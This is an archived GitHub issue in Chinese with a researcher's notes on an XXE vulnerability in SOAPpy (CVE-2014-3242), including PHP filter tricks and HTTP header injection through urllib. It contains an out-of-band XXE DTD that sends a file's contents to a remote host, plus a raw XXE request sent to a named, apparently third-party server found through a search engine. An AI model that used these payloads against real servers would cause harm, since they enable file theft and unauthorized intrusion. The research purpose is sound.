The Wayback Machine - https://web.archive.org/web/20201013192348/https://github.com/xinali/articles/issues/9
Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

sopypy xxe问题思考 #9

Open
xinali opened this issue Feb 27, 2018 · 0 comments
Open

sopypy xxe问题思考 #9

xinali opened this issue Feb 27, 2018 · 0 comments
Labels

Comments

@xinali
Copy link
Owner

@xinali xinali commented Feb 27, 2018

来源

在研究xxe漏洞时,发现乌云镜像上的一个来源于CVE-2014-3242

SOAPpy <= 0.12.5时存在XXE漏洞,上zoomeye随便搜索一下:

测试123.126.42.100

确实存在XXE,再来测试读取文件,使用这里的方法

可以看出并不能实现显示文件,因为不知道显示的函数到底是什么。

php xxe 测试

在测试这个XXE的过程中,使用了vulhub的php_xxe进行了php相关xxe的测试,在这里做一些扩展:
很多造成xxe的库,在发送请求会检查一遍请求的url是否合法,如果不合法的话,会发生错误

要是没有任何正常显示,但是能够整出错误提示的话,也算是可以读取文件的。为了解决这个问题,要是php的话,php支持filter等伪协议可以将读取到的文件转换格式,比如base64编码,之后请求

其中evil.dtd文件内容

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://[remote-ip]:8000/?x=%file;'>"
>
%all;

别的语言如何实现这个功能,我还不知道。

延伸

细看一下请求的urllib的版本,查看是python urllib/1.6,查询一下发现urllib存在http头注入,具体可以看这里

POST / HTTP/1.1
Host: 123.126.42.100:8089
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 175

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtochkx [
  <!ENTITY % dtd SYSTEM "http://45.32.138.6%0d%0aX-injected:%20header:12345/foo">
%dtd;
]>

测试结果

发现同样存在http头注入,但是因为对于请求是否成功,没有办法知道,所以有洞也没法做太多东西。

做进一步延伸,到底soappy为什么会产生这个漏洞,查看SOAPpy源码发现其是使用xml.sax这种方式来解析xml的

查找xml.sax这种解析xml方式发现

原来是因为soappy使用了该种解析xml的方式导致了xxe

@xinali xinali added the web安全 label Feb 27, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
1 participant
You can’t perform that action at this time.